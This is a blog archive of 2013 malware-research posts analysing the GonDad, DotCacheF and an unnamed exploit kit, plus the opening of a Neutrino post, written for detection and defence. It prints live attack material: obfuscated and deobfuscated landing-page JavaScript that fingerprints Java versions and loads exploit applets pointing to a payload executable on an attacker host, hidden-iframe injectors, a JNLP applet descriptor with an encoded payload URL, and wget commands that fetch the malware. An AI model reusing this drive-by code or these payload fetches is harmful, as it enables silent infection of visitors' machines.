Showing posts with label class. Show all posts
Showing posts with label class. Show all posts

Wednesday, December 25, 2013

Merry Christmas! - GonDad style

Or analysis of the GonDad Exploit kit - AKA KaiXin exploit pack.


This time of year we normally want to hear the familiar HO HO HO from father Christmas, but some evil doers want it different and instead want to do harm and make money the wrong way during the Holiday season too.

This adwenture started with a Twitter post from @SetAbominae about an unknown EK, that proved to be not the case @node5 spotted that this was in fact GonDad. Having not looked at the details of this Kit before I decided to go ahead and look at the details. With a pcap from @SetAbominae at my disposal, and with a live redirector, I was able to look at the whole chain of the EK. Thanks to @SetAbominae for providing the info needed to start this sled ride!

So lets go ahead and take a look at how this exploit kit is built and is functioning.

First fetch the hacked site which redirects:


--2013-12-23 --  hxxp: //www.dprkmedia.com/
Resolving www.dprkmedia.com... 157.7.164.35
Connecting to www.dprkmedia.com|157.7.164.35|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: /gate/gate_main.aspx?ReturnUrl=%2findex.aspx [following]
--2013-12-23 --  hxxp: //www.dprkmedia.com/gate/gate_main.aspx?ReturnUrl=%2findex.aspx
Reusing existing connection to www.dprkmedia.com:80.
HTTP request sent, awaiting response... 200 OK
Length: 10359 (10K) [text/html]
Saving to: `pane1'

     0K ..........                                            100% 16.7K=0.6s

2013-12-23 (16.7 KB/s) - `pane1' saved [10359/10359]

A 302 redirect to gate_main.aspx which has an iframe tag at the bottom. Which will lead us to the land of darknes instead of happy holidays whishes.


Lets jump on Father Christmas sled and cross our fingers that Rudolf will guide us in the right direction. Fetching the source of the iframe:

--2013-12-23--  hxxp: //94.102.63.121/adsense/index.html
Connecting to 94.102.63.121:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1671 (1.6K) [text/html]
Saving to: `index.html'

     0K .                                                     100%  256M=0s

2013-12-23 (256 MB/s) - `index.html' saved [1671/1671]
index.html is the main landing pane of the GonDad exploit kit. It fetches 2 more jacascript files, swfobject.js and jpg.js and has obfuscated javascript in the middle and ends with another iframe insert to /log/. The swfobject.js and jpg.js are files for checking versions of SW on the client. The log iframe tag leads to another set of swfobject.js and jpg.js. Lets look at the most interesting parts:

Main part of the landing panes


<html>^M
<script type="text/javascript" src="swfobject.js"></script>^M
<script src=jpg.js></script>^M
<script type="text/javascript">^M
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('k U=v.E.L();e(d.19.f("1a=")==-1&&U.f("1B"+"x")<=-1&&U.f("1C")==-1&&U.f("1D"+"1E")==-1){k 1F=1G.1H.1I();k P=1J 1K();P.1L(P.1M()+24*1b*1b*1);d.19="1a=1N;1O=/;P="+P.1P();1Q(M.1R){}d.Q("<1S>");k 1c=d.1d(\'D\');d.D.F(1c);k 3=1T.1U()+"";k V=3.1V(",");3=1e(V[O].1f(/\\.|\\1g/g,\'\'));1W(i=1;i<V.1X;i++){14=1e(V[i].1f(/\\.|\\1g/g,\'\'));e(3<14)3=14}e((3<=1h&&3>=N)||(3<=1i&&3>=R)||(3<=1j&&3>=15)){k 2=d.1d(\'1Y\');2.S="1";2.T="1";e((3<=1Z&&3>=R)||(3>=15&&3<=2O)){2.l="1k.m";2.K="21.n";2.4("22","o://p.q.r.s/t.u");d.D.F(2)}h e((3<=23&&3>=N)||(3<=25&&3>=R)||(3<=1j&&3>=15)){2.l="26.m";2.K="27.28.n";2.4("w","o://p.q.r.s/t.u");2.4("y","z");2.4("A","B");2.4("C","G");d.D.F(2)}h e((3<=29&&3>=N)||(3<=2a&&3>=R)){2.l="2b.m";2.K="2c.2d.n";2.4("w","o://p.q.r.s/t.u");2.4("y","z");2.4("A","B");2.4("C","G");d.D.F(2)}h e(3<=2e&&3>=N){k j=M.v.E.L();e(j.f(\'H 6\')>-1){d.Q("<I W=\'X:Y-Z-1O-11-12\' S=\'J\' T=\'J\'><9 a=w c= \'o://p.q.r.s/t.u\'><9 a=y c= \'z\'><9 a=A c= \'B\'><9 a=C c= \'G\'><9 a=13 c= \'1l.1m.n\'><9 a=l c= \'1n.m\'></I>")}h{2.l="1n.m";2.K="1l.1m.n";2.4("w","o://p.q.r.s/t.u");2.4("y","z");2.4("A","B");2.4("C","G");d.D.F(2)}}h e(3<=2f&&3>=N){k j=M.v.E.L();e(j.f(\'H 6\')>-1){d.Q("<I W=\'X:Y-Z-1O-11-12\' S=\'J\' T=\'J\'><9 a=w c= \'o://p.q.r.s/t.u\'><9 a=y c= \'z\'><9 a=A c= \'B\'><9 a=C c= \'G\'><9 a=13 c= \'1o.1p.n\'><9 a=l c= \'1q.m\'></I>")}h{2.l="1q.m";2.K="1o.1p.n";2.4("w","o://p.q.r.s/t.u");2.4("y","z");2.4("A","B");2.4("C","G");d.D.F(2)}}h e(3<=1h&&3>=N){k j=M.v.E.L();e(j.f(\'H 6\')>-1){d.Q("<I W=\'X:Y-Z-1O-11-12\' S=\'J\' T=\'J\'><9 a=w c= \'o://p.q.r.s/t.u\'><9 a=y c= \'z\'><9 a=A c= \'B\'><9 a=C c= \'G\'><9 a=13 c= \'1r.1s.n\'><9 a=l c= \'1t.m\'></I>")}h{2.l="1t.m";2.K="1r.1s.n";2.4("w","o://p.q.r.s/t.u");2.4("y","z");2.4("A","B");2.4("C","G");d.D.F(2)}}h e(3<=1i&&3>=R){k j=M.v.E.L();e(j.f(\'H 6\')>-1){d.Q("<I W=\'X:Y-Z-1O-11-12\' S=\'J\' T=\'J\'><9 a=w c= \'o://p.q.r.s/t.u\'><9 a=y c= \'z\'><9 a=A c= \'B\'><9 a=C c= \'1u\'><9 a=13 c= \'1v.b.n\'><9 a=l c= \'1w.m\'></I>")}h{2.l="1w.m";2.K="1v.b.n";2.4("w","o://p.q.r.s/t.u");2.4("y","z");2.4("A","B");2.4("C","1u");d.D.F(2)}}}h{k j=M.v.E.L();e((j.f(\'H 6\')>-1)||(j.f(\'H 7\')>-1)){d.16("<O 17=2g.18><\\/O>")}h e((j.f(\'H 8\')>-1)&&(v.E.f(\'1x 1y 5.1\')>-1)&&(v.1z.f(\'1A\')>-1)){d.16("<O 17=1k.18><\\/O>")}h e((j.f(\'H 8\')>-1)&&(v.E.f(\'1x 1y 6.1\')>-1)&&(v.1z.f(\'1A\')>-1)){d.16("<O 17=2h.18><\\/O>")}}}',62,142,'||gondad|gondadx|setAttribute|||||param|name||value|document|if|indexOf||else||uaxrAJ5|var|archive|jpg|class|http|94|1O2|63|121|csrsss|exe|navigator|xiaomaolv||bn|woyouyizhixiaomaolv|si|conglaiyebuqi|bs|body|userAgent|appendChild|748|msie|OBJECT|2OO|code|toLowerCase|window|17OOO|iframe|expires|write|16OOO|width|height|qYSUDor1|arrx|classid|clsid|8AD9C84O|O44E|11D1|B3E9|OO8O5F499D93|CODE|tmp|15OOO|writeln|src|html|cookie|Brbrw6|6O|gondady|createElement|parseInt|replace|_|17O1O|16O45|15O33|aTgTpPDO|cvx2O12xxxx|Gondvv|rsdMnM2|gonw2O125O76|Gondqq|IpWYVWg3|xml2O13O422|XML2O13O422|cFiF7|135169649O|mixalpha|fdFRO|Windows|NT|browserLanguage|en|linu|bot|spid|er|QXDYGYH4|deconcept|SWFObjectUtil|getPlayerVersion|new|Date|setTime|getTime|Yes|path|toGMTString|while|closed|br|deployJava|getJREs|split|for|length|applet|16O27|15O31|GonqabGonqabExp|dota|17OO2||16O3O|rnQXOV5|GonbadExx|Ohno|17OO3|16O32|JhEbxjO|gonp1723|Gondattack|17OO6|17OO7|cftMKbY4|aTgTpPD1'.split('|'),O,{}))^M
</script>^M
<iframe width="O" height="O" src="../log/" scrolling="no" frameborder="O"></iframe>^M
</html>^M
 
The obfuscation is not as hard as it look.  I like using node-js and with that just change eval with console.log and the wrapped javascript comes rigt out:


var qYSUDor1 = navigator.userAgent.toLowerCase();
if (document.cookie.indexOf("Brbrw6=") == -1 && qYSUDor1.indexOf("linu" + "x") <= -1 && qYSUDor1.indexOf("bot") == -1 && qYSUDor1.indexOf("spid" + "er") == -1) {
    var QXDYGYH4 = deconcept.SWFObjectUtil.getPlayerVersion();
    var expires = new Date();
    expires.setTime(expires.getTime() + 24 * 6O * 6O * 1);
    document.cookie = "Brbrw6=Yes;path=/;expires=" + expires.toGMTString();
    while (window.closed) {}
    document.write("<br>");
    var gondady = document.createElement('body');
    document.body.appendChild(gondady);
    var gondadx = deployJava.getJREs() + "";
    var arrx = gondadx.split(",");
    gondadx = parseInt(arrx[O].replace(/\.|\_/g, ''));
    for (i = 1; i < arrx.length; i++) {
        tmp = parseInt(arrx[i].replace(/\.|\_/g, ''));
        if (gondadx < tmp) gondadx = tmp
    }
    if ((gondadx <= 17O1O && gondadx >= 17OOO) || (gondadx <= 16O45 && gondadx >= 16OOO) || (gondadx <= 15O33 && gondadx >= 15OOO)) {
        var gondad = document.createElement('applet');
        gondad.width = "1";
        gondad.height = "1";
        if ((gondadx <= 16O27 && gondadx >= 16OOO) || (gondadx >= 15OOO && gondadx <= 15O31)) {
            gondad.archive = "aTgTpPDO.jpg";
            gondad.code = "GonqabGonqabExp.class";
            gondad.setAttribute("dota", "hxxp ://94.1O2.63.121/csrsss.exe");
            document.body.appendChild(gondad)
        } else if ((gondadx <= 17OO2 && gondadx >= 17OOO) || (gondadx <= 16O3O && gondadx >= 16OOO) || (gondadx <= 15O33 && gondadx >= 15OOO)) {
            gondad.archive = "rnQXOV5.jpg";
            gondad.code = "GonbadExx.Ohno.class";
            gondad.setAttribute("xiaomaolv", "hxxp ://94.1O2.63.121/csrsss.exe");
            gondad.setAttribute("bn", "woyouyizhixiaomaolv");
            gondad.setAttribute("si", "conglaiyebuqi");
            gondad.setAttribute("bs", "748");
            document.body.appendChild(gondad)
        } else if ((gondadx <= 17OO3 && gondadx >= 17OOO) || (gondadx <= 16O32 && gondadx >= 16OOO)) {
            gondad.archive = "JhEbxjO.jpg";
gondad.code = "gonp1723.Gondattack.class";
            gondad.setAttribute("xiaomaolv", "hxxp ://94.1O2.63.121/csrsss.exe");
            gondad.setAttribute("bn", "woyouyizhixiaomaolv");
            gondad.setAttribute("si", "conglaiyebuqi");
            gondad.setAttribute("bs", "748");
            document.body.appendChild(gondad)
        } else if (gondadx <= 17OO6 && gondadx >= 17OOO) {
            var uaxrAJ5 = window.navigator.userAgent.toLowerCase();
            if (uaxrAJ5.indexOf('msie 6') > -1) {
                document.write("<OBJECT classid='clsid:8AD9C84O-O44E-11D1-B3E9-OO8O5F499D93' width='2OO' height='2OO'><param name=xiaomaolv value= 'hxxp ://94.1O2.63.121/csrsss.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'cvx2O12xxxx.Gondvv.class'><param name=archive value= 'rsdMnM2.jpg'></OBJECT>")
            } else {
                gondad.archive = "rsdMnM2.jpg";
                gondad.code = "cvx2O12xxxx.Gondvv.class";
                gondad.setAttribute("xiaomaolv", "hxxp ://94.1O2.63.121/csrsss.exe");
                gondad.setAttribute("bn", "woyouyizhixiaomaolv");
                gondad.setAttribute("si", "conglaiyebuqi");
                gondad.setAttribute("bs", "748");
                document.body.appendChild(gondad)
            }
        } else if (gondadx <= 17OO7 && gondadx >= 17OOO) {
            var uaxrAJ5 = window.navigator.userAgent.toLowerCase();
            if (uaxrAJ5.indexOf('msie 6') > -1) {
                document.write("<OBJECT classid='clsid:8AD9C84O-O44E-11D1-B3E9-OO8O5F499D93' width='2OO' height='2OO'><param name=xiaomaolv value= 'hxxp ://94.1O2.63.121/csrsss.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'gonw2O125O76.Gondqq.class'><param name=archive value= 'IpWYVWg3.jpg'></OBJECT>")
            } else {
                gondad.archive = "IpWYVWg3.jpg";
                gondad.code = "gonw2O125O76.Gondqq.class";
                gondad.setAttribute("xiaomaolv", "hxxp ://94.1O2.63.121/csrsss.exe");
                gondad.setAttribute("bn", "woyouyizhixiaomaolv");
                gondad.setAttribute("si", "conglaiyebuqi");
                gondad.setAttribute("bs", "748");
                document.body.appendChild(gondad)
            }
        } else if (gondadx <= 17O1O && gondadx >= 17OOO) {
            var uaxrAJ5 = window.navigator.userAgent.toLowerCase();
            if (uaxrAJ5.indexOf('msie 6') > -1) {
                document.write("<OBJECT classid='clsid:8AD9C84O-O44E-11D1-B3E9-OO8O5F499D93' width='2OO' height='2OO'><param name=xiaomaolv value= 'hxxp ://94.1O2.63.121/csrsss.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'xml2O13O422.XML2O13O422.class'><param name=archive value= 'cFiF7.jpg'></OBJECT>")
            } else {
                gondad.archive = "cFiF7.jpg";
                gondad.code = "xml2O13O422.XML2O13O422.class";
                gondad.setAttribute("xiaomaolv", "hxxp ://94.1O2.63.121/csrsss.exe");
                gondad.setAttribute("bn", "woyouyizhixiaomaolv");
                gondad.setAttribute("si", "conglaiyebuqi");
                gondad.setAttribute("bs", "748");
                document.body.appendChild(gondad)
            }
        } else if (gondadx <= 16O45 && gondadx >= 16OOO) {
            var uaxrAJ5 = window.navigator.userAgent.toLowerCase();
            if (uaxrAJ5.indexOf('msie 6') > -1) {
                document.write("<OBJECT classid='clsid:8AD9C84O-O44E-11D1-B3E9-OO8O5F499D93' width='2OO' height='2OO'><param name=xiaomaolv value= 'hxxp ://94.1O2.63.121/csrsss.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '135169649O'><param name=CODE value= 'mixalpha.b.class'><param name=archive value= 'fdFRO.jpg'></OBJECT>")
            } else {
                gondad.archive = "fdFRO.jpg";
                gondad.code = "mixalpha.b.class";
                gondad.setAttribute("xiaomaolv", "hxxp ://94.1O2.63.121/csrsss.exe");
                gondad.setAttribute("bn", "woyouyizhixiaomaolv");
                gondad.setAttribute("si", "conglaiyebuqi");
                gondad.setAttribute("bs", "135169649O");
                document.body.appendChild(gondad)
            }
        }
    } else {
        var uaxrAJ5 = window.navigator.userAgent.toLowerCase();
        if ((uaxrAJ5.indexOf('msie 6') > -1) || (uaxrAJ5.indexOf('msie 7') > -1)) {
            document.writeln("<iframe src=cftMKbY4.html><\/iframe>")
        } else if ((uaxrAJ5.indexOf('msie 8') > -1) && (navigator.userAgent.indexOf('Windows NT 5.1') > -1) && (navigator.browserLanguage.indexOf('en') > -1)) {
document.write("<OBJECT classid='clsid:8AD9C84O-O44E-11D1-B3E9-OO8O5F499D93' width='2OO' height='2OO'><param name=xiaomaolv value= 'hxxp ://94.1O2.63.121/csrsss.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '135169649O'><param name=CODE value= 'mixalpha.b.class'><param name=archive value= 'fdFRO.jpg'></OBJECT>")
            } else {
                gondad.archive = "fdFRO.jpg";
                gondad.code = "mixalpha.b.class";
                gondad.setAttribute("xiaomaolv", "hxxp ://94.1O2.63.121/csrsss.exe");
                gondad.setAttribute("bn", "woyouyizhixiaomaolv");
                gondad.setAttribute("si", "conglaiyebuqi");
                gondad.setAttribute("bs", "135169649O");
                document.body.appendChild(gondad)
            }
        }
    } else {
        var uaxrAJ5 = window.navigator.userAgent.toLowerCase();
        if ((uaxrAJ5.indexOf('msie 6') > -1) || (uaxrAJ5.indexOf('msie 7') > -1)) {
            document.writeln("<iframe src=cftMKbY4.html><\/iframe>")
        } else if ((uaxrAJ5.indexOf('msie 8') > -1) && (navigator.userAgent.indexOf('Windows NT 5.1') > -1) && (navigator.browserLanguage.indexOf('en') > -1)) {
            document.writeln("<iframe src=aTgTpPDO.html><\/iframe>")
        } else if ((uaxrAJ5.indexOf('msie 8') > -1) && (navigator.userAgent.indexOf('Windows NT 6.1') > -1) && (navigator.browserLanguage.indexOf('en') > -1)) {
            document.writeln("<iframe src=aTgTpPD1.html><\/iframe>")
        }
    }
}
 

A lot of interesting stuff in here as the javascript now reveils filenames to the exploit, and pretty much which exploits as well. Also in clear reading is the URL to the final pyload of the EK. Thanks Rudolf for guiding us to the right place to unwrap all packets.

Time to get the Java exploits - a lot of them:



--2013-12-23--  hxxp ://94.102.63.121/adsense/IpWYVWg3.jpg
Connecting to 94.102.63.121:80... connected.
hxxp  request sent, awaiting response... 200 OK
Length: 4858 (4.7K) [image/jpeg]
Saving to: `IpWYVWg3.jpg'

     0K ....                                                  100% 7.88M=0.001s

2013-12-23 (7.88 MB/s) - `IpWYVWg3.jpg' saved [4858/4858]

--2013-12-24--  hxxp ://94.102.63.121/adsense/JhEbxj0.jpg
Connecting to 94.102.63.121:80... connected.
hxxp  request sent, awaiting response... 200 OK
Length: 7860 (7.7K) [image/jpeg]
Saving to: `JhEbxj0.jpg'

     0K .......                                               100% 5.31M=0.001s

2013-12-24 (5.31 MB/s) - `JhEbxj0.jpg' saved [7860/7860]


--2013-12-24--  hxxp ://94.102.63.121/adsense/rnQXOV5.jpg
Connecting to 94.102.63.121:80... connected.
hxxp  request sent, awaiting response... 200 OK
Length: 13231 (13K) [image/jpeg]
Saving to: `rnQXOV5.jpg'

     0K .......... ..                                         100%  327K=0.04s

2013-12-24 (327 KB/s) - `rnQXOV5.jpg' saved [13231/13231]


--2013-12-24--  hxxp ://94.102.63.121/adsense/rsdMnM2.jpg
Connecting to 94.102.63.121:80... connected.
hxxp  request sent, awaiting response... 200 OK
Length: 4214 (4.1K) [image/jpeg]
Saving to: `rsdMnM2.jpg'

     0K ....                                                  100% 4.06M=0.001s

2013-12-24 (4.06 MB/s) - `rsdMnM2.jpg' saved [4214/4214]

--2013-12-24--  hxxp ://94.102.63.121/adsense/cFiF7.jpg
Connecting to 94.102.63.121:80... connected.
hxxp  request sent, awaiting response... 200 OK
Length: 5296 (5.2K) [image/jpeg]
Saving to: `cFiF7.jpg'

     0K .....                                                 100% 2.86M=0.002s

2013-12-24 (2.86 MB/s) - `cFiF7.jpg' saved [5296/5296]

--2013-12-24--  hxxp ://94.102.63.121/adsense/fdFR0.jpg
Connecting to 94.102.63.121:80... connected.
hxxp  request sent, awaiting response... 200 OK
Length: 7882 (7.7K) [image/jpeg]
Saving to: `fdFR0.jpg'

     0K .......                                               100% 5.48M=0.001s

2013-12-24 (5.48 MB/s) - `fdFR0.jpg' saved [7882/7882]



The JAR files are all familiar used Java exploits from exploit Kits. Todo: analyze them in more detail.

As we saw in the index.html file there where three more iframe tags to new HTML files. Lets go ahead an get those as well:

--2013-12-24--  hxxp ://94.102.63.121/adsense/cftMKbY4.html
Connecting to 94.102.63.121:80... connected.
hxxp  request sent, awaiting response... 200 OK
Length: 2179 (2.1K) [text/html]
Saving to: `cftMKbY4.html'

     0K ..                                                    100%  381M=0s

2013-12-24 (381 MB/s) - `cftMKbY4.html' saved [2179/2179]

--2013-12-24--  hxxp ://94.102.63.121/adsense/aTgTpPD0.html
Connecting to 94.102.63.121:80... connected.
hxxp  request sent, awaiting response... 200 OK
Length: 1909 (1.9K) [text/html]
Saving to: `aTgTpPD0.html'

     0K .                                                     100%  293M=0s

2013-12-24 (293 MB/s) - `aTgTpPD0.html' saved [1909/1909]

--2013-12-24--  hxxp ://94.102.63.121/adsense/aTgTpPD1.html
Connecting to 94.102.63.121:80... connected.
hxxp  request sent, awaiting response... 200 OK
Length: 1914 (1.9K) [text/html]
Saving to: `aTgTpPD1.html'

     0K .                                                     100%  318M=0s

2013-12-24 (318 MB/s) - `aTgTpPD1.html' saved [1914/1914]
 
and the content is javascript code, where cftMKbY4.html have some minor obfuscaion. Same procedure there change eval to console.log if you are using node-js and a bright and shiny javascript appears :)

The aTgTpPD0.html and aTgTpPD1.html are cve-2013-3897 exploits. First time I have seen the new IE exploits implemented in an exploit kit.

CVE-2013-3897

Here is part of the code(straight from Metasploit it seem):



The cftMKbY4.html is a bit older an seem to be cve-2012-1889 MS XML Core services.

I had expected a flash exploit or two in there, but I could not see the exploit at this run through.

MD5 on the files(all should be on VT):


ed02d44e6f1ec3f8b70ae1ffbd29674b  cFiF7.jpg
d04fdd307428381cf19db7e4b884e19c  fdFR0.jpg
dacff0fe8816332c5103f2228e05248e  IpWYVWg3.jpg
5805eb872c43133576b8fa612ff5f63f  JhEbxj0.jpg
60e70c75e4b376b9fce939bd7c7726d1  rsdMnM2.jpg
5b4fb126598c90770a182bc95cda2af0  rnQXOV5.jpg
537ac8d0bd57a7599f91b1d504542d32  cftMKbY4.html
04a2bb69f2c7132c4235e6be7a06b358  aTgTpPD0.html
ef5300801c897ffcf087ed4d847b2a82  aTgTpPD1.html
537ac8d0bd57a7599f91b1d504542d32  cftMKbY4.html
cd261c252ef3fe180016243c5677d820  csrsss.exe

Happy hunting Gondad Exploit Kit, heading into the new year of 2014 :)



Good read on GonDad EK:
Kahu Security have made a good analysis of this exploit kit back in october 2012. Exploit are added after that as we have seen and a few other changes are also made. 

Tuesday, December 10, 2013

Unknown EK - Analysis

Last Friday, the 6th of December, I saw a tweet by @Set_Abominea about an unknown exploit kit:


I went away for the week-end and when I got back Sunday night I was curious to what this could end up being. Kindly as always @Set_Abominea shipped me a very nice pcap of what was seen over at his place and from there I wanted to go the usual way and try to pick this thing a part.

Luckily this kit was quite simple and it did not take much time to figure out what these bad guys where up to. No JavaScript obfuscation, no payload XOR or encryption.
Warning: the bad stuff is still alive so take precautions necessary if you engage it on your own.

To the task at hand. Lets start fetching bad stuff...


--2013-12-09 --  hxxp:// www.f58s.com/vd2.html
Resolving www.f58s.com... 23.110.115.253
Connecting to www.f58s.com|23.110.115.253|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 47 [text/html]
Saving to: `vd2.html'

     0K                                                       100% 3.65M=0s

2013-12-09  (3.65 MB/s) - `vd2.html' saved [47/47]

So what did we get:


<script src=hxxp: //142.0.141.145/2.js></script>

Not much: Go and fetch some JavaScript was all.

--2013-12-09 --  hxxp:// 142.0.141.145/2.js
Connecting to 142.0.141.145:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 269 [application/x-javascript]
Saving to: `2.js'

     0K                                                       100% 22.6M=0s

2013-12-09 (22.6 MB/s) - `2.js' saved [269/269]

which gave me:
if(document.cookie.indexOf('veatpr')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='veatpr=Yes;path=/;expires='+ex
pires.toGMTString();document.write("<iframe src=hxxp: //142.0.141.145/2.html width=0 height=0></iframe>");}

So just some cookie stuff and then it writes an iframe tag. How convenient. Oh and of course with=0 and height=0. So we are not supposed to see it after all.
Time to fetch what we are not supposed to be looking at in that iframe:

--2013-12-09 --  hxxp: //142.0.141.145/2.html
Connecting to 142.0.141.145:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 279 [text/html]
Saving to: `2.html'

     0K                                                       100% 22.9M=0s

2013-12-09 (22.9 MB/s) - `2.html' saved [279/279]

<html>
    <head>
    </head>
    <body>
    <applet archive="waRSJk.jar" code="PIVOEGh" width="0" height="0">
    </applet>
    </body>
    </html>
    <script language="javascript" src="hxxp: //count35.51yes.com/click.aspx?id=351358975&logo=1" charset="gb2312"></script>

Right on with Java applet tags. So we are going to be sploited through Java then.



--2013-12-09 --  hxxp: //142.0.141.145/waRSJk.jar
Connecting to 142.0.141.145:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 59768 (58K) [application/java-archive]
Saving to: `waRSJk.jar'

     0K .......... .......... .......... .......... .......... 85% 43.6K 0s
    50K ........                                              100% 2.33M=1.2s

2013-12-09 (50.7 KB/s) - `waRSJk.jar' saved [59768/59768]

The java archive:


As reported, it utilizing the vulnerability from CVE-2013-2465. Yes that is the 0-Day for Java 1.6.45 that will never get patched. A lot of EK using it so patch-patch-patch(If you have not already).



The JAR archive also had a couple of embedded files. One was a configuration file and the other an exe file.

Here is how the embedded file is written to disk.


The Java code also checks weather it is in WIN  or UX land



Reading the properties from the config file


And the file is executed as well


Even if this particular walk through of the kit did not download malware with the Java code. It seem like the code is capable of doing so. It also seem like that is configured through the embedded properties file, as we saw earlier that is probably decided with the property name URL.
In addition the pcap from @Set_Abominea contained download of an exe file



I fetched it manually as well, but could not find trace of that in the Java code. Could be fetched with the malware payload it self though. Strange user-agent at least.

MD5 and virustotal was covered in the paste linked in the tweet. I got exactly the same files 3 days later when I fetched them manually. So no need to repeat that here.


Happy EK hunting

Thursday, August 22, 2013

DotCacheF - a short story

Just a brief wrap-up of my strange encounter with a cute little exploit kit called DotCacheF today. As far as I have understood the name comes from the "early days" when the EK was discovered and it had a URL structure: "*/.cache/?f*". Fair enough, but please ping me the next time someone have a chance to name a new exploit kit. I would have called it meanBalrogFoo EK or maybe even better BiggusDi*kus EK,(youtube distraction) But then again I'm a Monty Python fan.

Well enough about my bad ideas for naming EK's and lets have a look at what happened today.

Once again pinged by Malware Must Die on the hunt for a Java 0-Day.

 That would have been cool to get my hands on, I thought.  One problem though the only clue to the puzzle was a urlquery report. And not just a report a very short report. Have a look here https://urlquery.net/report.php?id=4626937.  Hmm just a HTTP 204 response.

Having never looked in detail, myself, at the BiggusDickus, ehm DotCacheF, EK before I had to look into what this was all about. Had a brief chat with @secluded_memory, looked at @malwaresigs and checked out the write-up over at basemont.com.
Everywhere the EK stopped by a URL looking something like "hxxp://www.googlecodehosting.com/openx/js/zone_functions.js?cp=8998". And in my tiny brain I thought that must be a Gate(another youtube distraction) we have to pass through to be able to get to the valuables hidden inside the EK. So could it be possible to brute force this gate? Would a random hit do it? A couple of urlquery reports later: NOTHING. Since it was a work day, back to work.

Then came another tweet

Aaahh - more info to the rescue. So we got the applet tag and the applet/class files too. Strange -  thought the quest was for a JAR. But OK lets see if we can get the payload anyway:

2013-08-25: Be aware the kit is still alive!!!

Applet tag from the EK:

<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="app.jnlp">
  <information>
    <title>Applet Test JNLP</title>
    <vendor>atom</vendor>
    <description>atom</description>
    <offline-allowed/>
  </information>
  <resources>
    <j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se"/>
    <jar href="hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431" main="true"/>
  </resources>
  <applet-desc name="atom" main-class="Auto" width="1" height="1">
    <param name="__applet_ssv_validated" value="true"/>
    <param name="url" value="aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg=="/>
  </applet-desc>
  <update check="background"/>
</jnlp>


Sweet we got the JAR URL and we got a couple of parameters. One parameter which looked to be especially interesting. With the characteristics of base64 encoding.

param url encoded:
 aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg==

Decoded:
hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442

Lets fetch it the malware:
wget "hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442" --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0 Java/1.6.0_21" -v a getlog -O za.exe
--2013-08-22 --  hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 279040 (272K) [audio/mpeg]
Saving to: `za.exe'

100%[===================================================================================>] 279,040     57.7K/s   in 4.7s    

2013-08-22 (57.7 KB/s) - `za.exe' saved [279040/279040]

Nice. The case was solved.

Fetching the JAR with "fully patched" Java:

--2013-08-22 --  hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10304 (10K) [application/x-java-archive]
Saving to: `7u25.jar'

     0K ..........                                            100% 42.4K=0.2s

2013-08-22  (42.4 KB/s) - `7u25.jar' saved [10304/10304]

Just throws back the same JAR file with the vulnerability to exploit pre 7u17. So the EK is not equipped wtih the newest Java exploits then I guess.

Epilogue
Pretty straight forward EK to deal with. No evil gates. No obfuscation of the exe files.

Vitustotal for the EXE
Virustotal for the JAR

Happy getting exploits and malware out of the DotCacheF EK

Update 2013-08-23
Looks like @malwageddon have an analysis of DotCacheF posted on his blog

Friday, May 10, 2013

Neutrino Exploit Kit analysis


I have previously looked at the neutrino landing page: Neutrino landing page demystified and Neutrino landing pane change.
There obviously are quite a few Neutrino live kits out there so it is time to take a closer look at this evil piece of software. Lets see if we can figure out what these bad actors are up to and make sure that we can detect activity related to the Neutrino exploit kit.



1. Gate


